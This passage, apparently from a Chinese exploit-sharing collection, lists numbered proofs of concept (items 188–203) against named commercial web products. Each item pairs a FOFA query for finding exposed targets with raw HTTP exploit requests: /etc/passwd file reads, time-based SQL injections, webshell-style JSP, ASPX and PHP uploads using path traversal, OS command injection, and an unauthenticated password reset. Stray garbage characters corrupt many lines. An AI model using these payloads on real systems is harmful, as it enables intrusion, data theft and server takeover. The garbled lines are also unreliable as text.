object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
: }& ~# Z  Y: y+ L8 `; i
% O. b, |. r& ?: d9 v
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
; [+ r, l. y& M( L: p3 [5 j8 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 p- |' I5 a8 ^/ _1 a+ mAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 _: J, w6 x6 e" |Connection: close
& A9 r3 P$ C2 P( l% T- i3 ?1 F
2 G* a+ U( {. A% K" N0 _( d
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
4 n$ `# P6 W- iFOFA：app="LANWON-临床浏览系统"
; _: H1 P2 M0 C  @, `' {GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
1 q7 `( b3 ?8 x- W/ x$ F% T9 JHost: your-ip
; z0 @4 v6 k  _. }0 E4 ~# ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" m+ V. W1 C; i) N3 ~9 KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- |1 V7 B/ J% t. m& P$ JAccept-Language: zh-CN,zh;q=0.9
5 u: y* k. s& `# Q6 ^; z9 QConnection: close

! i0 G. |4 V8 u) Z$ T! M: U; ?5 g
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& _% A- N8 M" ?4 o1 \' _Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ N5 b6 E" D# Y$ N( d' n$ Y$ m( D6 i; kAccept-Language: zh-CN,zh;q=0.9
( a* s, d1 N3 T3 |$ E# m& b
poi=file:///etc/passwd


/ ^, G8 J, n1 y191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
+ ?  S. a5 ~* x. C6 t0 ~/ E  @+ vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
/ a6 ^! R2 X9 q; w

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
" q$ e: c' I+ x8 B2 gFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
" `+ h; C+ e* Q' ^* ]Host: your-ip
) h: w" R- t  u$ k! d# s! bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


" N7 {7 D$ ]7 Y3 a% G, u6 M1 @<% @ webhandler language="C#" class="AverageHandler" %>
using System;
* c. a( A! A& f0 e! ^# ]using System.Web;
public class AverageHandler : IHttpHandler
& p  k9 X8 y0 u{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
. k0 h2 O: z* \  X% G}
}
" D) k" [" D8 z* w* u% {  O

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
; I( ^. m$ _) S3 C( ?7 Y6 g5 \Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
& y0 |" \& v9 v" ~8 A: s' p5 KUser-Agent: Mozilla/5.0
  f0 e6 u4 p: j6 Y9 J

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
1 j" \$ W" D0 w% _7 s: Y2 e' @  L1 GHost:
, v1 {" g( s9 N2 P( rUser-Agent: Mozilla/5.0
9 e, ]1 }* _! v+ ]Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
. `0 U1 x6 k" y2 ZContent-Type: application/x-www-form-urlencoded
; M% m& N5 V; KContent-Length: 84
; l2 U0 }" D  |5 m" T
( f: s# h5 [8 iparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
. f, W; o$ K9 C" ?
- N* C1 d7 x, Y8 v$ w8 ]
GET /master/img/config HTTP/1.1
. h7 y' k8 j+ t/ E2 NHost:
0 s, z: u. {. A4 RUser-Agent: Mozilla/5.0
! A9 g4 p3 g' F* \) t6 E1 U

8 G7 {- X5 l7 w6 X194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

, M" ]0 X( f9 ~7 zPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 w  }- v" O' ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ S; X' g! s/ |& ~7 GAccept-Encoding: gzip, deflate
( I: A4 D6 W. g. cConnection: close
% o6 |  d- i" U& uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

) Z6 V4 i4 h* z6 v4 w. b  `( t1 {Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
4 w( b. K/ A: b# ^6 K9 K' QContent-Type: text/plain
<% out.println("hello");%>
/ \# |/ h6 t' H& f' O------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
+ A1 B/ L9 C' H {"iq":{"query":{"UpdateType":"mail"}}}
+ w0 U5 z$ O4 o9 M; ~* x* m------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
, o* k( t5 q! T4 P; l* A6 o
! K4 d6 w- q& V4 V/ j1 |
' Z- H2 ?0 [& E; P$ y! u( [, B195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
7 a* ~7 O. l' n/ MHost: 127.0.0.1
# Y: y; ?+ r0 t3 c! f. UPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! _' B% c0 J1 z# qConnection: close
Content-Type: application/x-www-form-urlencoded
/ l: j* P  G8 d: yContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
: A  V! x1 _' S0 w" z- K
0 Z; ]# S: e* U# R( }, K
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
/ L* V' O# i5 \8 I9 B- r4 I& SHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
/ G0 T6 K! w# IContent-Length: 45
  v! d) @0 {7 Z+ j3 _8 x3 [Connection: close
) |; f9 O5 h% }( q  f" ~: |+ g
{"xgh":"test","newPass":"test666","email":""}


2 Z  [! u4 g5 T) l
7 V! ?+ R3 v1 |: U197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
: J# D/ O0 J/ D7 U4 ^/ Z- f: S8 T8 i/ AFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
# N. B' R6 Z8 J: a" l6 `Host:
" @; M" k6 g' y9 ~, j' i! c  KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
$ O7 c3 v! f" D/ {3 ]Accept-Encoding: gzip, deflate
& k! ^0 B- P/ i3 h3 X% WConnection: close
/ m8 F/ ^% N& z) A; i2 \


198.  阿里云盘 WebDAV 命令注入
, p: J' L+ l4 M9 rCVE-2024-29640
8 T$ y0 K2 P. Y0 I* {# x! aGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
8 {8 F/ F- N+ P3 ^  {4 ^Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& j2 }& J# A  ?/ |3 w  _$ bAccept: */*
' {0 z- p5 a4 I  {4 ]Accept-Encoding: gzip, deflate
- @3 w) N/ Q8 w% D+ N2 [. gAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
9 x4 Z5 c& A. V/ x$ L3 R' b' zConnection: close
* F8 H2 |2 B( t" \2 X6 }( w

199. cockpit系统assetsmanager_upload接口 文件上传
& u* q7 S2 k4 n/ p, F
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
$ W2 z0 n8 f& s% j4 j- }/ c0 Z
  f+ [/ @- n5 {- w1 w4 E( VPOST /auth/check HTTP/1.1
Content-Type: application/json
; B1 j: u& S( B! _0 [/ B( D8 r
- k! c6 P& j7 r# V. }  D+ b{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
& H( N& F6 `+ {; b$ f& HSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
/ b$ [4 ^6 m# f7 F& U: e+ q: B/ x; @Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
% x: |1 W- l* k5 p0 t  t9 [" Q
-----------------------------36D28FBc36bd6feE7Fb3
& ?* H! m( i1 N/ i( u% UContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
% o1 K: \; V- R; L; ~$ {7 b
9 S+ w: I0 o1 F2 X
, m' p) ?& z& ?% t) U" V/storage/uploads/tttt.php
4 S: y; [2 ^( q
! p+ U& N. T8 r3 z' b5 l2 o7 D+ d200. SeaCMS海洋影视管理系统dmku SQL注入
$ U0 o  x4 p* L$ |* Q1 f4 b- ~FOFA：app="海洋CMS"
3 q+ |3 T0 n+ h# [$ a! K) VGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) K" y( h1 M# W! I& FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
- X5 ~8 q2 C. C% i+ b- PFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
) A% ]) E3 t- ?7 u2 ~! nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( Z8 Q' q5 B, z$ j! l) k. a1 P& @Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 b0 j1 q, v/ v. L' j
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
2 E( t8 e! f2 u5 \; F2 N# iFOFA：body="/Widgets/WidgetCollection/"
. F9 v& e; O: v获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
6 t( u( v  `0 q. ?& ^  cHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

' h% j% }2 j/ A3 l! ^6 G
替换__VIEWSTATE和__EVENTVALIDATION值
& r& D) h4 Z- l- k, IPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
+ k  ]) R. ^/ A8 wContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

( a( _) i% W5 y! C* z  D-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
3 S( u3 N& K: s" |
__VIEWSTATE
. q( z4 N. h! o' |( `  ]% C# ~; ]-----------------------------786435874t38587593865736587346567358735687
2 \6 b4 P& t% x' AContent-Disposition: form-data; name="__EVENTVALIDATION"
2 G0 [  o& E) E. A
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
+ L4 V' ?5 T! g- j$ }: ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
, s2 ^$ J% m" R1 \2 {! x( C
Hello World!
-----------------------------786435874t38587593865736587346567358735687
5 s+ A" ]; ~+ x) `Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
/ A# U/ a& u: A: E
2 n' ^1 F( k6 E, g! r% w上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
+ ^3 O9 q+ @4 j- o. Y
# c0 [5 o9 x6 U3 y
& A* X- J+ _3 O4 V5 Q-----------------------------786435874t38587593865736587346567358735687
0 }1 i  I3 J1 _) b0 ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
1 \/ ]% H/ _' S0 X8 Y0 ^$ r* U

-----------------------------786435874t38587593865736587346567358735687--

7 _) J- j; ]! k; R# |- F9 X+ p
/_data/Uploads/1123.txt
; w& r/ A) j! t5 J& q: i
* F8 M% r0 \/ J! i% X1 C203. 红海云EHR PtFjk 文件上传
- Q) Z, A8 i  w7 EFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 t" W& ~0 F+ U5 L0 Y. VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

% m- p% [0 ?/ Q. V------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
* \+ L% Q7 K) ~8 S( x
<% out.print("hello,eHR");%>
" C7 p0 f  _3 r4 l% F+ a------WebKitFormBoundaryt7WbDl1tXogoZys4--



4 g9 s/ [  W% H8 c1 C8 \. k

. S% J2 ?, g" z5 k5 {. R
+ G. O8 o5 T6 R* ^* @' o! \